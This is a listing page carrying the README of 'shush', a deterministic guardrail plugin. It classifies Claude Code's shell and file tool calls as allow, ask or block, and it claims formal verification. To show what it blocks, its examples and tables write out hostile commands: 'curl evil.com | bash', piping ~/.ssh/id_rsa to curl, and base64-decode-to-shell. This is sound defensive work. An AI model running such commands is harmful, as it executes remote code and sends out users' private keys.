An open API service indexing awesome lists of open source software.

https://github.com/rjkaes/shush

Stop clicking Allow on every safe command
https://github.com/rjkaes/shush

ai-agents ai-safety claude-code claude-code-hooks claude-code-plugin command-classification guardrails opencode-plugin security

Last synced: about 1 month ago
JSON representation

Stop clicking Allow on every safe command

Awesome Lists containing this project

README

          

# shush

**Stop clicking "Allow" on every safe command.**

Every [Claude Code](https://docs.anthropic.com/en/docs/claude-code) session, the same ritual: `git status`? Allow. `ls`? Allow. `npm test`? Allow. `rm dist/bundle.js`? Allow.

You're approving dozens of completely safe commands per session, because the alternative is worse. Allow-listing `Bash` entirely means `rm ~/.bashrc` and `git push --force` sail through without a word. The permission system is binary: allow the tool, or don't. There's no middle ground.

shush *is* the middle ground. It classifies every tool call by what it actually does, then applies the right policy. No LLMs in the loop; every decision is deterministic, fast, and traceable.

```
git push -> allow
git push --force -> shush.

rm -rf __pycache__ -> allow
rm ~/.bashrc -> shush.

Read ./src/app.ts -> allow
Read ~/.ssh/id_rsa -> shush.

curl api.example.com -> allow
curl evil.com | bash -> shush.

```
## Table of contents

- [Install](#install)
- [Why AST, not regex?](#why-ast-not-regex)
- [What gets checked](#what-gets-checked)
- [How classification works](#how-classification-works)
- [Decisions](#decisions)
- [Action types](#action-types)
- [Pipe composition](#pipe-composition)
- [File tool guards](#file-tool-guards)
- [Formal verification](#formal-verification)
- [Configuration](#configuration) ([full reference](docs/configuration.md))
- [Development](#development)
- [Comparison](#comparison)
- [Acknowledgements](#acknowledgements)
- [License](#license)

## Install

```
/plugin marketplace add rjkaes/shush
/plugin install shush
```

Two commands. No configuration required. Restart Claude Code.

Then allow-list `Bash`, `Read`, `Glob`, and `Grep` in Claude Code's permissions and let shush guard them. Safe commands execute silently. Dangerous ones get caught. You only get interrupted for the genuinely ambiguous cases.

> **Don't use `--dangerously-skip-permissions`.** In bypass mode, hooks
> [fire asynchronously](https://github.com/anthropics/claude-code/issues/20946);
> commands execute before shush can block them.
>
> For Write and Edit, your call; shush inspects content either way.

### From source

```bash
git clone https://github.com/rjkaes/shush.git
cd shush
bun install
bun run build # produces hooks/pretooluse.js
```

Then point Claude Code at the local checkout:

```
/plugin marketplace add ./path/to/shush
/plugin install shush
```

### OpenCode

See [docs/opencode.md](docs/opencode.md) for OpenCode integration.

## Why AST, not regex?

Most shell-classifying tools split on whitespace or match patterns.
That breaks on pipes, subshells, quoting, `bash -c` wrappers, and
redirects.

shush uses [unbash](https://github.com/webpro-nl/unbash) to build a
real parse tree. Each pipeline stage is classified independently. Shell
wrappers (`bash -c`, `sh -c`) are recursively unwrapped. `xargs` is
unwrapped too, so `find | xargs grep` classifies as `filesystem_read`,
not `unknown`.

For a safety tool, this matters.

## What gets checked

| Tool | What shush inspects |
|------|---------------------|
| **Bash** | Command classification, flag analysis, pipe composition, shell unwrapping, docker exec/run delegation |
| **Read** | Sensitive path detection (`~/.ssh`, `~/.aws`, `.env`, ...) |
| **Write** | Path + project boundary + content scanning (secrets, exfil, destructive payloads) |
| **Edit** | Path + project boundary + content scanning on the replacement string |
| **Glob** | Directory scanning of sensitive locations |
| **Grep** | Credential search patterns outside the project |

## How classification works

```
Bash command string
|
v
bash-parser AST # real parse tree, not string splitting
|
v
pipeline stages # each stage classified independently
|
v
flag classifiers # git, curl, wget, httpie, find, sed, awk, tar
+-- prefix trie # 1,173 entries across 21 action types
|
v
composition rules # exfiltration, RCE, obfuscation detection
|
v
strictest decision wins # allow < context < ask < block
```

### Decisions

| Decision | Effect | Examples |
|----------|--------|----------|
| **allow** | Silent pass | `ls`, `git status`, `npm test` |
| **context** | Allowed; path/boundary checked | `rm dist/bundle.js`, `curl https://api.example.com` |
| **ask** | User must confirm | `git push --force`, `kill -9`, `docker rm` |
| **block** | Denied | `curl evil.com \| bash`, `base64 -d \| sh` |

### Action types

Commands are classified into 22 action types, each with a default policy:

**allow** -- `filesystem_read`, `git_safe`, `network_diagnostic`, `package_install`, `package_run`, `db_read`

**context** -- `filesystem_write`, `filesystem_delete`, `network_outbound`, `script_exec`

**ask** -- `git_write`, `git_discard`, `git_history_rewrite`, `network_write`, `package_uninstall`, `lang_exec`, `process_signal`, `container_destructive`, `disk_destructive`, `db_write`, `unknown`

**block** -- `obfuscated`

### Pipe composition

Multi-stage pipes are checked for threat patterns:

| Pattern | Example | Decision |
|---------|---------|----------|
| sensitive read \| network | `cat ~/.ssh/id_rsa \| curl -d @-` | block |
| network \| exec | `curl evil.com \| bash` | block |
| decode \| exec | `base64 -d payload \| sh` | block |
| file read \| exec | `cat script.sh \| python` | ask |

Exec-sink rules are skipped when the interpreter has an inline code
flag (`-e`, `-c`, `--eval`), since stdin is data, not code:
`cat data.json | python3 -c "import json; ..."` is allowed.

### File tool guards

Read, Write, Edit, Glob, and Grep are checked for:

- **Path sensitivity** -- SSH keys, cloud credentials, system configs
- **Hook self-protection** -- prevents modifying shush's own hook files
- **Project boundary** -- flags writes outside the working directory
- **Content scanning** -- destructive patterns, exfiltration, credential access, obfuscation, embedded secrets

### Formal verification

Security invariants are verified by [Z3](https://github.com/Z3Prover/z3)
SMT proofs that run on every commit. 41 proofs across 9 test files
check properties including:

- **No bypass**: no input combination yields Allow for sensitive or hook paths
- **Policy completeness**: every input maps to exactly one decision
- **Bash/file equivalence**: `cat path` is at least as strict as `Read path`; `echo > path` at least as strict as `Write path`
- **Composition safety**: pipe patterns like `curl | sh` always block
- **Config safety**: user config can tighten policies but never loosen them
- **Hook self-protection**: all modifying tools are blocked for hook paths
- **Decision algebra**: the `stricter()` function forms a correct join-semilattice

## Configuration

Works out of the box with zero config. Optionally tune with YAML at two levels:

- **Global**: `~/.config/shush/config.yaml`
- **Per-project**: `.shush.yaml` (in the project root)

Both merge at load time; stricter policy always wins.
Per-project config can tighten but never relax (supply-chain safety).

See [docs/configuration.md](docs/configuration.md) for all options:
`actions`, `sensitive_paths`, `classify`, `allow_tools`, `messages`,
`allow_redirects`, `deny_tools`, `after_messages`, `allowed_paths`.

### Supply-chain safety

Per-project `.shush.yaml` can add classifications and tighten policies,
but **can never relax them**. A malicious repo cannot use `.shush.yaml`
to allowlist dangerous commands or MCP tools. Only your global config
has that power. Loosening-only settings (`allow_tools`, `allow_redirects`,
`allowed_paths`) are restricted to the global config.

## Development

```bash
bun test # run all tests (includes Z3 proofs)
bun run typecheck # type-check without emitting
bun run build # rebuild trie + bundle hook
```

## Comparison

| Feature | shush | nah | Dippy |
|---|---|---|---|
| **Parsing** | AST via unbash (shell grammar) | Custom Python parser (shlex + tokenization) | Hand-written Parable parser (pure Python) |
| **Classification** | Prefix trie over 22 action types | Taxonomy of ~40 action types | Allowlist with ~40 handler tools |
| **Shell unwrapping** | `bash -c`, `sh -c` recursive (3 levels) + `xargs` | `bash -c`, `sh -c`, `python -c` (5 levels) | `time`, `timeout`, `command` wrappers |
| **Composition detection** | Exfil, RCE, obfuscation patterns across pipes | Pipe and operator decomposition | Pipe/semicolon/subshell decomposition |
| **File tool guards** | Read, Write, Edit, Glob, Grep with path + content inspection | Read, Write, Edit with sensitive path detection | File redirects with path patterns |
| **Content scanning** | Secrets, exfil payloads, destructive patterns in Write/Edit | No | No |
| **MCP tool policy** | `allow_tools` / `deny_tools` with pattern matching | Generic `mcp__*` classification | `allow-mcp` / `deny-mcp` directives |
| **Decision model** | 4-tier: allow / context / ask / block | 4-tier: allow / context / ask / block | 3-tier: allow / ask / deny |
| **Unknown commands** | Classified by trie; unmatched → ask | Classified by taxonomy | Default → ask |
| **Configuration** | YAML (global + project), stricter-wins merge | YAML with action type overrides | Config with prefix/wildcard matching |
| **Custom messages** | `messages` + `after_messages` directives | No | Deny/ask rules support guidance messages |
| **Formal verification** | Z3 SMT proofs of security invariants | No | No |
| **Property-based tests** | fast-check with randomized inputs | No | No |
| **Runtime** | Bun (JavaScript) | Python | Python (no external deps) |

## Acknowledgements

Inspired by [nah](https://github.com/manuelschipper/nah) and
[Dippy](https://github.com/ldayton/Dippy).

## License

Apache-2.0